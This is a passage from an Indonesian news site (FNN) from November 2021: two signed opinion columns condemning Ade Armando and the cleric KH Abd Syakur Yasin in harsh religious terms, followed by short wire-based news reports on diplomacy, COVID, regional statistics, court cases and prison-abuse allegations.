tidak saja tidak rasional dalam berpikir. Tapi akal pikirannya memang tertutup (khatamallah) dan terbalik (twisted). Itupun kalau masih ada akal yang tersisa. Jangan-jangan sedang out of mind (mengalami kegilaan). Mengingkari versus Memahami Saya dari awal menekankan bahwa Syariah adalah bagian baku (mendasar) dari agama. Dan karenanya mengingkari hal baku/mendasar dari agama adalah juga mengingkari Islam. Syahadat, sholat, puasa, zakat, Haji, hingga ke aturan-aturan mu’amalat (bisnis, politik, urusan berubah tangga Nikah/cerai hingga ke tersenyum) ada dalam tatanan Syariah Islam. Yang diperlukan kemudian dalam memahami Syariah itu adalah “ilmu fiqh”. Dengan fiqhlah Umat ini akan melakukan penyesuaian-penyesuaian berdasar kepada situasi waktu dan tempat dengan menjaga prinsip-prinsip dasar Syariah itu. Keanehan berpikir di Armando misalnya terlihat ketika menutup mata dengan realita pemerintah Indonesia saat ini yang sedang giat-giatnya mengembangkan menejemen Keuangan dan perbankan Syariah. Bahkan Menteri Pariwisata juga giat mengembangkan pariwisata halal. Karenanya kejahilan Armando dalam menyikapi Syariah Islam adalah tidak mampu membedakan mana Syariah dan mana penafsiran terhadap Syariah yang disebut ilmu fiqh. Tapi lebih jauh lagi, dan ini sangat berbahaya bahkan anti Pancasila dan Indonesia, adalah mengingkari eksistensi Syariah dalam beragama. Mengingkari dalam bahasa agama disebut mengkafiri. Dan jika Syariah dipahami secara benar sebagai “dasar-dasar hukum agama” maka berarti Armando mengkafiri agama itu sendiri. Apakah Armando Kafir? Biar Allah yang menghakimi. Mengingkari Sholat 5 Waktu Hal lain yang sangat sesat dan menyesatkan dari Armando ini adalah pernyataan bahwa perintah sholat 5 waktu dalam Islam itu tidak ada. Lebih jauh dia berkata “saya sholat karena memang itu yang saya lakukan sejak kecil”. Artinya bagi Armando sholat itu tidak lebih karena kebiasaan semata. Pernyataan ini sendiri menggambarkan secara jelas siapa Armando itu, dan bagaimana dia melihat agama yang diakuinya. Baginya agama bukan Ilmu dan iman. Tapi kebiasaan semata. Sholat itu rukun kedua Islam dan menjadi kewajiban ‘aini (fardi) setiap Muslim. Ketetapan sholat lima waktu secara umum disebutkan dalam beberapa ayat Al-Quran. Lalu dirincikan dalam hadits-hadits Rasulullah SAW. Saya tidak bermaksud menuliskan secara rinci di sini. Tapi ini adalah sebuah prinsip dasar berdasar Quran, sunnah, dan Ijma’ Umat sepanjang zaman. Mengingkari kewajiban sholat 5 waktu adalah bentuk kekafiran (hadits). Memahami Tafshiil (rincian) Syariah Salah satu bunyi “gonggongan” Armando adalah Jika Syariah diyakini ada dan dipraktekkan maka potong tangan, rajam, menggauli budak, dan entah apalagi, yang menurutnya tidak sejalan dengan dunia abad 21. Di sìnilah tampak, tidak saja kebodohan Armando, tapi lebih dari itu kebencian terhadap Syariah dan agama Islam itu sendiri. Pernyataan dia itu persis dengan apa yang dilakukan oleh para Islamophobia di Amerika dan Barat. Karenanya saya bisa melihat “koneksi” di antara keduanya. Armando ingin dilihat maju berpikir seperti orang Barat. Sayang, yang semakin terbuka adalah pemikiran bodoh dan terbalik (twisted). Hal-hal yang disebutkan oleh Armando itu adalah ayat-ayat Quran yang berbicara hukum global. Hal-hal global itulah yang kemudian memerlukan ilmu fiqh untuk menemukan penjabaran yang sesuai. Ketika Armando menyebutkan semua ini sejatinya meyakini adanya hukum Islam. Hanya saja dia pura-pura menutup mata terhadap urgensi “fiqh” atau penafsiran terhadap ayat-ayat hukum itu. Hal ini tidak terbatas pada masalah-masalah “jinaaiyah” (criminal code ) Syariah. Bahkan masalah-masalah mu’amalat lainnya, seperti banyak aspek dalam transaksi keuangan dan bisnis. Semua terbuka kepada wacana-wacana dan penafsiran baru selama tidak bertentangan dengan prinsip-prinsip dasar Syariah atau Islam itu sendiri. Inilah yang saya maksud bahwa si Armando ini berada pada dua situasi. Satu, tidak punya Ilmu agama. Dan karenanya saya katakan dia tidak usah komentar tentang agama karena kapasitas (spesialisasi)dia bukan di sana. Dua, memang punya i’tikad buruk kepada agama. Dan karenanya, seperti lazimnya kaum Islamophobia lainnya, agama ditampilkan dengan wajah yang menakutkan. Syariah dan Indonesia Armando kembali secara dungu ingin membangun persepsi bahwa mendukung Syariah berarti melawan negara. Ini lagu lama mereka yang ingin membenturkan antara Islam (Umat) dan negara. Ini cara licik dan jahat untuk memarjinalkan Umat Islam Indonesia. Saya ingin mengatakan bahwa Syariah dengan pemahaman yang benar dapat ditafsirkan dan diamalkan dalam tatanan negara Indonesia yang “berketuhanan”. Karena sila Ketuhanan Yang Maha Esa sejatinya adalah esensi agama. Bagi Umat Islam realisasi (implementasi) dari sila Ketuhanan itu adalah dengan Syariah (mengikut kepada ajaran/aturan Islam). Himbauan kepada Umat Saya ingin akhiri dengan himbauan kepada seluruh Umat Islam Indonesia. Kiranya membuka mata dan berhati-hati dengan orang seperti Ade Armando dan golongannya. Pemikirannya tidak saja bertentangan dengan Islam. Tapi memang “sesat” (dhoolun) dan “menyesatkan” (mudhillun). Saya bahkan menghimbau kepada teman-teman non Muslim agar berhati-hati. Karena apa yang diupayakan oleh orang ini adalah memecah belah. Tapi lebih berbahaya adalah “pelemahan” agama dalam tatanan kehidupan berbangsa. Saya justeru ingnon sebagaimana Umat Islam taat kepada agamanya, juga ingin teman-teman Kristiani, Katolik, Hindu, Budha, maupun Konghucu untuk taat kepada agama dan aturan-aturan agama mereka. Sebab itu amanah Pancasila kita bersama. Pada akhirnya kita harusnya sadar bahwa orang-orang seperti Armando ini jangan-jangan memang bagian dari “hidden hands” (tangan-tangan halus) untuk melemahkan agama, sebagai bagian dari memperkuat “ideologi anti agama”. Apa ideologi anti-agama itu? Terserah anda menafsirkan! Hehe…saya ketawa. Jadi Armando salah kalau saya dianggap emosi…hehe…hehe. Tapi juga saya ketawa karena melihat logis lucu dari seorang yang merasa pintar. Subway NYC, 02 Nopember 2021 *) Presiden Nusantara Foundation

Kyai Sesat

By M Rizal Fadillah TENTU aneh jika ada Kyai diberi predikat sesat. Adalah netizen di media sosial yang menggelari seperti itu kepada seorang Kyai yang menjadi Penceramah di Mabes Polri dalam kerjasama dengan Kemenag yang membahas tema Moderasi Beragama. KH Abd Syakur Yasin, MA namanya, Pengasuh pondok pesantren Cadangpinggan Indramayu. Banyak ungkapan yang membuat kaget umat Islam atas isi ceramahnya tersebut, antara lain Islam bukan agama sempurna, kalimah la ilaaha illallahu bukan kunci masuk surga tetapi itu bermakna persatuan, Nabi Muhammad 'brondong' saat menikahi Khadijah seorang 'ibu', Siti Khadijah RA seorang Nashrani, Nabi Muhammad SAW membawa sekte baru dari Nashrani, Malaikat 'bodoh' dan ditegur Allah 'jangan banyak bacot' dan lainnya. Ada tafsir seenaknya dengan akal fikiran tanpa berbasis dalil ikutan, ada perkataan kasar kepada Nabi dan Malaikat, ada pula yang mengada-ada. Terkesan sok pintar dan ngawur, sehingga terungkap pernyataan seorang Kyai NU yang menyebut ia sebagai pengikut madzhab Al Ngawuri. Buya Syakur sebutannya yang dipertanyakan siapa yang mengundangnya, Menteri Agama ? Ada tiga indikasi bagi KH Abd Syakur Yasin MA ini di samping sebutan netizen di sebagai Kyai sesat tersebut, yaitu : Pertama, cara berfikir dan berpandangan khas penganut faham Islam liberal yang mengandalkan pada hal sarwa 'masuk akal' sehingga baginya kalimah laa Ilaha illallah sebagai kunci masuk surga itu tidaklah masuk akal. Kedua, karena ego atas dominan dari fikirannya, maka ia mudah meremehkan bahkan berujar kasar pada hal yang sebenarnya sakral. Jadilah masuk dalam kategori penista agama. Untuk ini ranah hukum bisa menjangkaunya. Ketiga, pengalaman kyai Syakur belajar di Irak, Suriah bahkan London tidak menjamin ajegnya pandangan keislaman. Ilmu tanpa berbasis keimanan dan ketakutan akan hari akhir dapat menciptakan cendekiawan yang avonturis, sombong, dan menyakiti umat. Tema aktual moderasi beragama telah menjadi isu politik yang dapat mengarahkan pada pengacak-acakan faham keagamaan. Moderasi menjadi liberalisasi atau sekularisasi bahkan de-Islamisasi. Ketika ini yang menjadi misi dari sosialisasi pengarusutamaan moderasi beragama, maka misi atau gerakan ini menjadi sangat berbahaya. Dipastikan merusak agama. Tuduhan umat Islam radikal dan intoleran mendasari isu moderasi beragama. Asumsi dan tuduhan buruk berakibat pada pola buruk dalam penanganan dan strategi antisipasi. Apa yang dijalankan oleh Kemenag adalah bukti dan ceramah KH Abd Syakur Yasin MA adalah ciri dari realisasi misi. Menyesatkan agama oleh Kyai sesat. *) Analis Politik dan Keagamaan

Percekcokan Presiden Prancis, PM Australia Bocor ke Media

Canberra, FNN - Media Australia pada Selasa menerbitkan rangkaian pengiriman pesan antara Presiden Prancis Emmanuel Macron dan Perdana Menteri Australia Scott Morrison, saat Canberra berupaya menepis tuduhan telah berbohong kepada Paris soal kontrak kapal selam senilai miliaran dolar. Australia membatalkan kesepakatan itu dengan perusahaan kontraktor pertahanan Prancis, Naval Group, pada September tahun lalu. Sebagai gantinya, Australia membangun sedikitnya 12 kapal selam bertenaga nuklir setelah negara itu membuat perjanjian dengan Amerika Serikat dan Inggris. Pembatalan tersebut telah meretakkan hubungan bilateral antara Australia dan Prancis. Macron pada Minggu (31/10) mengatakan bahwa Morrison berbohong kepadanya soal niat Australia. Tuduhan itu dibantah oleh Morrison. Tuduhan itu tidak pernah terjadi sebelumnya di antara negara-negara yang bersekutu. Menurut seorang sumber yang mengetahui pesan-pesan yang saling dikirimkan kedua pemimpin negara itu, Morrison berusaha menelepon Macron soal kontrak kapal selam itu pada 14 September, dua hari sebelum kesepakatan dengan AS dan Inggris diumumkan. Saat itu, kata sumber tersebut, Macron menanggapi dengan mengirimkan pesan berbunyi, "Saya harus berharap ada kabar baik atau kabar buruk tentang ambisi bersama soal kapal selam?" Tidak ada bocoran pesan seputar tanggapan Morrison soal pertanyaan Macron itu. Sumber tersebut menolak disebutkan namanya dengan alasan masalah yang ia ungkapkan itu sensitif. Prancis mengatakan bahwa Australia tidak berusaha memberi tahu pihaknya soal pembatalan itu sampai kemudian Pemerintah Australia mengumumkan telah mencapai kesepakatan dengan AS dan Inggris. Bulan ini, Uni Eropa untuk kedua kalinya menunda putaran pembicaraan berikutnya soal kemungkinan kesepakatan perdagangan bebas, di tengah kemarahan yang mendidih atas keputusan Canberra membatalkan kontrak dengan Prancis. (sws, ant)

Kematian Harian COVID-19 Rusia Kembali Catat Rekor, 1.178 Kematian Sehari

Moskow, FNN - Kematian harian COVID-19 di Rusia kembali mencatat rekor, yakni 1.178 kematian dalam sehari sehingga total menjadi 240.871 kematian. Pada hari yang sama infeksi COVID-19 juga naik 39.008, sehingga secara keseluruhan berjumlah 8,59 juta infeksi. Satgas darurat COVID-19 Rusia melalui laporan harian menyebutkan bahwa saat ini tercatat 939.698 kasus aktif, hampir mendekati angka satu juta. Kasus sembuh juga mengalami kenaikan, yakni 30.905 sejak Senin sehingga berjumlah 7,41 juta kasus, tulis laporan tersebut. Otoritas mengungkapkan bahwa tiga kasus varian "mu" dan satu kasus "lambda" teridentifikasi di Rusia. Presiden Rusia Vladimir Putin menyebutkan situasi COVID-19 di negaranya "sangat berat", memperhatikan bahwa jumlah kasus aktif merupakan yang tertinggi sejak pandemi mewabah. Kawasan Nizhegorodskaya Oblast barat Rusia memperpanjang masa libur bekerja di Rusia hingga 14 November untuk mengatasi lonjakan kasus. Mulai 28 Oktober Rusia memberlakukan masa libur bekerja nasional selama 10 hari yang bertujuan untuk menekan penyebaran virus. Sejak Desember 2019 pandemi COVID-19 telah merenggut lebih dari 5 juta korban jiwa di 192 negara dan kawasan, dengan 247 juta lebih kasus dilaporkan di seluruh dunia, menurut Universitas Johns Hopkins AS. (sws, Anadolu)

Surat Kabar The Daily Star Lebanon Tutup

Beirut, FNN - Surat kabar Lebanon berbahasa Inggris The Daily Star mengumumkan kepada stafnya bahwa mereka akan diberhentikan. The Daily Star akan bergabung ke daftar outlet media Lebanon yang terpaksa tutup atau melakukan pengurang staf akibat tekanan keuangan. Lewat pesan kepada stafnya, manajemen The Daily Star menuliskan bahwa keputusan untuk memberhentikan mereka diambil "dengan berat hati". Manajemen mengatakan perhitungan kompensasi sedang diselesaikan dan mereka berharap para stafnya beruntung "selama masa-masa sulit ini". Lebanon mengalami pergolakan depresi yang digambarkan Bank Dunia sebagai salah satu yang paling parah di zaman modern. Didirikan oleh jurnalis Lebanon Kamel Mrowa pada 1952, The Daily Star saat ini dimiliki oleh keluarga politisi Muslim Suni sekaligus mantan perdana menteri Saad al-Hariri, menurut Pengawas Kepemilikan Media Reporters Without Borders. Outlet media milik Hariri mulai kehilangan pekerjaan dan tutup sejak lima tahun lalu, mencerminkan krisis keuangan yang disebabkan oleh tamatnya perusahaan konstruksi keluarga Arab, Saudi Oger. The Daily Star, yang tidak lagi memperbarui situsnya pada 13 Oktober, dulu beberapa kali berhenti melakukan publikasi termasuk selama masa perang saudara 1975-1990. Ini merupakan media terbaru yang menghilang di sebuah negara yang media beritanya, walaupun sangat dipolitisasi, secara tradisional beroperasi lebih terbuka ketimbang di banyak negara Arab lainnya. Pada 2016 krisis keuangan mengharuskan surat kabar As-Safir 'pamit'. (sws, Reuters)

BPS Catat Tingkat Hunian Hotel di Papua Capai 54,96 Persen

Jayapura, FNN - Badan Pusat Statistik (BPS) Provinsi Papua menyatakan tingkat penghunian kamar hotel bintang di wilayahnya selama September 2021 mencapai 54,96 persen dengan jumlah tamu menginap sebanyak 17.446 orang. Kepala BPS Provinsi Papua Adriana Helena Carolina di Jayapura, Selasa, mengatakan capaian tersebut naik 13,74 poin dibanding Agustus 2021 yang sebesar 41,22 persen. "Dibandingkan bulan yang sama tahun sebelumnya, tingkat penghunian kamar hotel bintang naik 16,52 poin," katanya. Menurut Adriana, rata-rata lama tamu menginap (RLTM) di hotel bintang pada September 2021 mencapai 2,25 hari, turun 0,13 poin dibanding Agustus 2021 sebesar 2,38 hari. "Tingkat Penghunian Kamar (Room Occupancy Rate) adalah perbandingan antara banyaknya malam kamar yang dihuni (room night occupied) dengan banyaknya malam kamar yang tersedia (room night available)," ujarnya. Dia menjelaskan tingkat penghunian kamar mengindikasikan berapa persentase kamar yang terpakai dibandingkan dengan kamar yang tersedia. "Kenaikan terjadi di semua kelas yakni bintang satu naik 12,60 poin, bintang dua naik 6,23 poin, bintang tiga 16,92 poin dan bintang empat 29,35 poin," katanya lagi. Dia menambahkan rata-rata lamanya tamu menginap adalah banyaknya tempat tidur yang dipakai dengan banyaknya tamu yang menginap di suatu hotel atau akomodasi dalam satuan hari. "Rata-rata lama tamu menginap (RLTM) di hotel bintang selama September 2021 mencapai 2,25 hari, turun 0,13 poin dibanding Agustus 2021 dan naik 0,26 poin dibanding bulan yang sama pada 2020," ujarnya. (sws, ant)

Kemenkeu Gelontorkan Rp2,9 Triliun untuk Intensif Wajib Pajak di Jatim

Surabaya, FNN - Kantor Perwakilan Kementerian Keuangan (Kemenkeu) Provinsi Jawa Timur telah menggelontorkan dana sebesar Rp2,9 triliun, sebagai fasilitas intensif pajak kepada wajib pajak di wilayah itu sampai Oktober 2021. "Sampai Oktober 2021 fasilitas insentif pajak sebesar Rp2,9 triliun telah diberikan kepada masyarakat wajib pajak di wilayah Jawa Timur," kata Kepala Perwakilan Kemenkeu Provinsi Jawa Timur, John Hutagaol di Surabaya, Selasa. John, dalam siaran persnya usai audiensi dengan Gubernur Jawa Timur, Khofifah Indar Parawansa mengatakan, pemberian intensif itu merupakan bagian dari Program Pemulihan Ekonomi Nasional (PEN), yakni berupa insentif fiskal yang diberikan kepada pelaku usaha atau wajib pajak yang terdampak pandemi di wilayah Jawa Timur. Pada kesempatan itu, John juga menyampaikan bahwa penerimaan negara yang berasal dari pajak dan bea cukai, sebagian akan kembali ke daerah untuk membiayai APBD dalam bentuk Dana Bagi Hasil Pajak dan Dana Bagi Hasil Cukai, serta juga dialokasikan dalam bentuk Dana Alokasi Khusus (DAK). "Kami harapkan penerimaan negara yang berasal dari wilayah Jawa Timur meningkat, maka porsi alokasi yang kembali ke pemerintah daerah, baik provinsi maupun kabupaten/kota juga akan meningkat," katanya. Ia juga mengharapkan dukungan penuh Gubernur Jawa Timur, Khofifah Indar Parawansa beserta jajaran serta pemerintah kabupaten/kota, agar tugas Kemenkeu di wilayah setempat dapat berjalan dengan lebih baik lagi. Beberapa program yang memberikan kontribusi bagi masayarakat Jawa Timur, seperti pemberdayaan UMKM yang telah dilakukan oleh Direktorat Jenderal Pajak (DJP) melalui Program Business Development Services (BDS). Selain itu, program pendampingan yang dilakukan Direktorat Jenderal Kekayaan Negara (DJKN) Kantor Wilayah Jawa Timur, seperti memberikan sarana lelang untuk produk UMKM serta fasilitas diskon atau keringanan utang UMKM yang penanganannya sudah ditangani oleh Kantor DJKN. "Dalam kaitannya dengan Program PEN, Bea Cukai Jawa Timur juga sudah memberikan fasilitas bebas Bea Masuk atas impor vaksin dan peralatan kesehatan yang diperlukan untuk penanganan COVID-19," katanya. Selain itu, juga program untuk menghilangkan impor ilegal dan rokok ilegal yang diharapkan akan membawa iklim berusaha di Jawa Timur yang lebih sehat dan sekaligus akan mengamankan penerimaan negara. Sementara itu, Jhon menjelaskan kegiatan audiensi ini merupakan bentuk sinergi yang telah dilakukan Kemenkeu di daerah dengan pemerintah daerah, sebagai salah satu stakeholder penting, agar tugas Kemenkeu di daerah dapat berjalan dengan semakin efektif dan memberikan hasil penerimaan negara yang lebih maksimal. (sws, ant)

Survei LS-Vinus: Warga Bogor Anggap Anggota DPRD Minim Manfaat

Cibinong, FNN - Hasil survei Lembaga Studi Visi Nusantara Maju (LS-Vinus) bersama Democracy and Electoral Empowerment Partnership (DEEP) menyatakan bahwa performa Anggota DPRD di Kabupaten Bogor, Jawa Barat, masih rendah, sehingga dianggap minim manfaat bagi warga. "Sehingga performa DPRD Kabupaten Bogor masih belum bergeser dari survei sebelumnya, merah (buruk)," ungkap Direktur DEEP, Yusfitriadi di Cibinong, Bogor, Selasa. Menurutnya, hasil survei tersebut memperlihatkan bahwa persentase paling tinggi performa anggota legislatif tidak mencapai angka 50 persen. Dari 55 anggota DPRD Kabupaten Bogor, 35 di antaranya memiliki performa di bawah empat persen. Hasil survei itu juga menyatakan bahwa tak sedikit masyarakat yang tidak mengenal wakilnya di parlemen, bahkan yang berasal dari daerah pemilihan (dapilnya) sendiri. Kondisi ini terlihat dari rendahnya komponen tingkat popularitas, intensitas komunikasi, tingkat kebermanfaatan dan kelayakan anggota DPRD dicalonkan kembali. "Masih banyak masyarakat di dapil tidak kenal wakilnya. Masih sangat banyak masyarakat di dapil tidak merasakan manfaat dari keberadaan wakil rakyatnya. Jadi, kebanyakan masyarakat tidak mau mencalonkan kembali anggota DPRD yang saat ini menjabat," kata Yus. Metodologi survei yang dilakukan LS-Vinus dan DEEP menggunakan 600 responden yang tersebar di 40 kecamatan se-Kabupaten Bogor, setiap kecamatan terdiri dari 15 responden. Populasi survei meliputi warga ber-KTP Kabupaten Bogor berusia 17 tahun ke atas. Sampelnya 600 orang dari akademisi, tokoh masyarakat, tokoh agama, aktivis perempuan, aktivis pemuda, LSM dan pengusaha. Metode penarikan sampel menggunakan cluster random sampling dengan waktu survei mulai Juni hingga Agustus 2021. (sws, ant)

Polres Sukabumi Izinkan Tahanan Menikah di Penjara

Sukabumi, FNN - Atas dasar kemanusiaan, Polres Sukabumi memberikan izin kepada seorang tahanan warga Kabupaten Sukabumi, Jawa Barat yang mendekam di sel Mapolres Sukabumi untuk menikahi wanita yang menjadi pujaan hatinya pada Selasa. "Kami memberikan izin kepada seorang tahanan yang merupakan tersangka kasus pencurian sepeda motor yakni Arbi Maulana Sofyan untuk menikahi kekasihnya Dede Mariawati atas dasar kemanusiaan," kata Kasat Tahanan dan Barang Bukti (Tahti) Polres Sukabumi Iptu Dudung kepada wartawan di Sukabumi, Selasa. Tersangka kasus pencurian sepeda motor yang belum lama ditangkap oleh Satreskrim Polres Sukabumi ini melangsungkan pernikahannya di ruang Kasat Tahti Polres Sukabumi yang dipimpin petugas Kantor Urusan Agama (KUA) Kabupaten Sukabumi. Pantauan di lokasi, Arbi dan pasangannya tidak bisa menyembunyikan kesedihannya saat pembacaan ijab kabul yang dibimbing penghulu dan disaksikan langsung oleh Kasat Tahti Iptu Dudung beserta wali dari kedua belah pihak pasangan ini. Deraian air mata Arbi dan kekasihnya tak terbendung, saat ijab kabul dinyatakan sah oleh penghulu dan saksi. Meskipun sederhana dan dalam kondisi serba terbatas karena sang mempelai pria berstatus tahanan atau tersangka tetapi tidak mengurangi kekhidmatan prosesi pernikahan tersebut. Pihak Polres Sukabumi pun memberikan beberapa waktu untuk pasangan ini mengucap janji setia dan setelah seluruh prosesi ijab kabul selesai, Arbi harus kembali lagi ke sel Mapolres Sukabumi untuk menjalankan hukuman sembari menunggu persidangan. Mempelai wanita pun hanya bisa menangis, karena harus kembali berpisah dengan pria yang baru menikahinya itu. Pada proses pernikahan ini, pihak Polres Sukabumi hanya mengizinkan wali dari masing-masing keluarga mempelai untuk mematuhi aturan protokol kesehatan. "Sebelum melangsungkan pernikahan pihak keluarga dari kedua belah piihak sebelumnya sudah meminta izin dan atas berbagai dasar pertimbangan serta kemanusiaan Polres Sukabumi memberikan izin yang tentunya ada syarat yang harus dipatuhi," tambahnya. Dudung mengatakan dalam prosesi pernikahan ini pihaknya tetap menerapkan protokol kesehatan ketat dan setelah seluruh prosesi dinyatakan selesai, tersangka dikembalikan lagi ke sel tahanan untuk mempertanggungjawabkan perbuatannya melakukan tindak pidana pencurian sepeda motor. (sws, ant)

Kejagung Tetapkan Tujuh Tersangka Penghalang Kasus Korupsi LPEI

Jakarta, FNN - Jaksa penyidik Kejaksaan Agung menetapkan tujuh orang tersangka yang menghalangi penyidikan kasus dugaan tindak pidana korupsi dalam penyelenggaraan pembiayaan ekspor nasional oleh Lembaga Pembiayaan Ekspor Indonesia (LPEI) tahun 2013-2019, Selasa malam. "Tujuh orang saksi menjadi tersangka atas tidak pidana menghalangi penyidikan atau tidak memberikan keterangan dalam penyidikan dugaan tindak pidana korupsi LPEI," kata Kepala Pusat Penerangan Hukum (Kapuspenkum) Kejaksaan Agung Leonard Eben Ezer Simanjuntak dalam konferensi pers virtual dari Kejaksaan Tinggi Bali. Menurut Leonard, para tersangka menolak memberikan keterangan dengan alasan yang tidak dapat dipertanggungjawabkan, sehingga menyulitkan penyidikan kasus dugaan tindak pidana koprupsi LPEI yang masih ditangani tim penyidik Satgasus Jampidsus. Ketujuh orang tersangka ini adalah IS selaku mantan Direktur Pelaksana UKM dan Asuransi Penjaminan LPEI Tahun 2016-2018. Tersangka kedua, NH selaku mantan Kepala Departemen Analisa Risiko Bisnis (ARD) II LPEI Tahun 2017-2018, EM selaku mantan Kepala Kantor Wilayah (Kakanwil) Makassar (LPEI) Tahun 2019-2020, CRGS selaku mantan Relationship Manager Divisi Unit Bisnis Tahun 2015-2020. Kemudian, AA selaku Deputi Bisnis pada LPEI Kanwil Surakarta tahun 2016-2018, ML selaku Mantan Kepala Departemen Bisnis UKMK LPEI dan RAR selaku Pegawai Manager Resiko PT. BUS Indonesia. Tujuh tersangka ini merupakan 10 saksi yang diperiksa dalam perkara dugaan tindak pidana korupsi (Tipikor) dalam penyelenggaraan pembiayaan ekspor nasional Oleh Lembaga Pembiayaan Ekspor Indonesia (LPEI) Tahun 2013-2019. "Bahwa hari ini penyidik memanggil 10 orang saksi dalam perkara LPEI untuk diperiksa, tujuh di antara hadir, dan tiga lainnya dipanggil tidak hadir," kata Leonard. Menurut dia pada saat diperiksa, tujuh tersangka ini pada pokoknya meminta, menanyakan pasal pemeriksaan sebagai saksi. Ia mengatakan para tersangka ini saat diperiksa sebagai saksi meminta dicantumkan siapa tersangka dalam perkara tersebut, menanyakan pasal sangkaan dalam berita acara pemeriksaan saksi dan meminta perhitungan kerugian keuangan negara yang sudah pasti. "Para tersangka menolak memberikan keterangan dengan alasan yang tidak dapat dipertanggungjawabkan, sehingga menyulitkan penyidikan LPEI yang masih ditangani Tim penyidio Satgasus Jampidsus," ungkap dia. Leonard menyebutkan, keterangan para saksi dibutuhkan untuk membuat terang tindak pidana dugaan korupsi untuk menentukan para tersangka LPEI. Para tersangka dianggap telah mempersulit penyidikan, dijerat dengan Pasal 21 atau Pasal 22 Undang-Undang Pemberantasan Tindak Pidana Korupsi jo Pasal 55 Ayat (1) ke-1 KUHP. Untuk kepentingan penyidikan, tujuh tersangka ditahan selama 20 hari di Rutan Cipinang, Jakarta Timur. (sws, ant)

Dosen Unej Terdakwa Pencabulan Anak Ajukan Pembelaan

Jember, FNN - Dosen Universitas Jember (Unej) berinisial RH yang menjadi terdakwa dalam kasus pencabulan anak di bawah umur mengajukan nota pembelaan (pledoi) yang dibacakan langsung oleh terdakwa dan penasihat hukumnya dalam sidang lanjutan yang digelar di Pengadilan Negeri Jember, Jawa Timur, Selasa. Sidang lanjutan kasus pencabulan dengan terdakwa dosen FISIP Unej tersebut digelar secara tertutup dan terdakwa mengikuti persidangan dari Lembaga Pemasyarakatan (Lapas) Kelas II-A Jember, sedangkan majelis hakim, jaksa, dan penasihat hukum terdakwa hadir di PN Jember. "Yang jelas dari pledoi tadi, kami meminta klien kami dibebaskan karena dari sekian saksi yang ada sifatnya memberikan keterangan testimonium de auditu yakni tidak melihat secara langsung dan mendengar sendiri sesuai yang diamanatkan dalam KUHAP," kata penasihat hukum RH, Freddy Andreas Caesar di Jember. Ia mengatakan pledoi yang disampaikan dalam persidangan itu mengacu beberapa alat bukti, namun pihaknya tidak bisa menyampaikan kepada publik terkait hal itu karena persidangan tertutup untuk umum. "Intinya dalam pledoi kami membahas tidak ada kesesuaian dengan hukum acara terutama yang diatur dalam KUHAP, sehingga kami minta diputus bebas," ujarnya. Usai pembacaan pledoi, penasihat hukum RH dan istri RH menggelar konferensi pers di salah satu rumah makan yang meminta masyarakat untuk menghormati asas praduga tak bersalah terhadap terdakwa karena proses hukum di persidangan masih berjalan. Sebelumnya jaksa penuntut umum (JPU) Kejaksaan Negeri Jember menuntut delapan tahun penjara dan denda Rp50 juta subsider enam bulan kurungan terhadap terdakwa RH. JPU Adek Sri Sumiarsih mengatakan pihaknya berkeyakinan bahwa perbuatan terdakwa telah terbukti sebagai tindak pidana pencabulan berdasarkan keterangan saksi-saksi yang telah disumpah dalam persidangan. "Saksi-saksi yang hadir dalam persidangan ikut mendukung pembuktian dari dakwaan JPU bahwa terdakwa melakukan perbuatan cabul kepada saksi korban," katanya. (sws, ant)

Kemenkumham DIJ Investigasi Dugaan Penganiayaan di Lapas Narkotika

Jogjakarta, FNN - Kantor Wilayah Kementerian Hukum dan HAM (Kemenkumham) Daerah Istimewa Jogjakarta (DIJ) menerjunkan tim investigasi menyusul aduan dugaan penganiayaan oknum sipir terhadap sejumlah narapidana di Lapas Narkotika Kelas IIA Jogjakarta, Pakem, Sleman. "Saya selaku Kakanwil (kepala kantor wilayah) sudah mulai kemarin malam memerintahkan kepala divisi (pemasyarakatan) untuk melakukan investigasi," kata Kepala Kanwil Kemenkumham DIY Budi Argap Situngkir di Lapas Narkotika Kelas IIA Jogjakarta, Pakem, Sleman, Selasa. Ia memastikan bakal membeberkan secara terbuka mengenai hasil investigasi dugaan kasus itu dengan landasan fakta yang sebenarnya. Budi juga berjanji tidak akan memberikan toleransi kepada setiap petugas yang nantinya terbukti melakukan pelanggaran termasuk mencopot kepala lapas. "Kami akan copot KPLP (Kesatuan Pengamanan Lembaga Pemasyarakatan), kalapasnya, kalau benar perlakuan itu. Tapi kalau tidak benar alangkah sayangnya kita menzalimi, saya tidak mau tangan saya mengotori keringat orang yang sudah berjerih payah menjadikan manusia di lapas ini jadi baik," kata Budi. Kendati investigasi belum rampung, ia menduga beberapa mantan warga binaan yang mengadu dan mengaku dianiaya tak lain lantaran mereka merasa gerah dengan ketatnya aturan selama di lapas, mulai dari pelarangan pemakaian telepon genggam, serta transaksi uang. Menurut dia, Lapas Narkotika Kelas II A Jogjakarta merupakan lapas yang memiliki program pembinaan yang baik. Bahkan, sejumlah provinsi bakal menjadikan lapas itu sebagai percontohan. "Kalau buat narapidana yang nakal, gerah di sini. Mereka akan melakukan 'counter', mereka akan melakukan perlawanan bagaimana supaya (aturan) tidak demikian," kata dia. Menurut Budi, tim dari Kanwil Kumham DIJ telah berupaya memintai keterangan langsung dari para mantan warga binaan yang mengadu ke Kantor ORI Perwakilan DIJ-Jateng. "Kami sudah berkomunikasi dengan pelapor. Pelapor tidak berani datang ke sini. Kita akan lakukan langkah-langkah mengomunikasikan, di mana perlakuan tidak nyaman, tidak baik," ujar dia. Budi Situngkir menjelaskan bahwa salah seorang warga binaan yang melaporkan dugaan tindakan penganiayaan yang dilakukan petugas Lapas kepada Ombudsman RI Perwakilan DIJ, Vincentius, saat ini tengah menjalani program Cuti Bersyarat (CB) dan masih dalam Pembimbingan dari Balai Pemasyarakatan. "Kami pastikan apa yang disampaikan oleh Saudara Vincent, WBP yang sedang menjalani Cuti Bersyarat, adalah tidak benar. Yang benar adalah bahwa Lapas ini melaksanakan sesuai dengan SOP," kata Budi. Kepala Divisi Pemasyarakatan Kantor Wilayah Kemenkumham DIJ Gusti Ayu Putu Suwardani mengatakan tim investigasi sudah turun langsung ke lapangan dengan memeriksa kondisi para warga binaan di lapas itu. "kami bisa pastikan walaupun belum mendalam karena belum semua kami tanya, termasuk petugasnya. Berdasarkan fakta-fakta itu sebagian besar mengaku tidak ada (penganiayaan) dan badan mereka bersih semua," kata dia. Sebelumnya, sejumlah mantan narapidana Lapas Narkotika Kelas II A Jogjakarta mengadu ke Ombudsman Republik Indonesia (ORI) Perwakilan Daerah Istimewa Jogjakarta (DIJ) -Jawa Tengah pada Senin (1/11) mengenai dugaan penganiayaan yang mereka alami selama di lapas tersebut. Vincentius Titih Gita 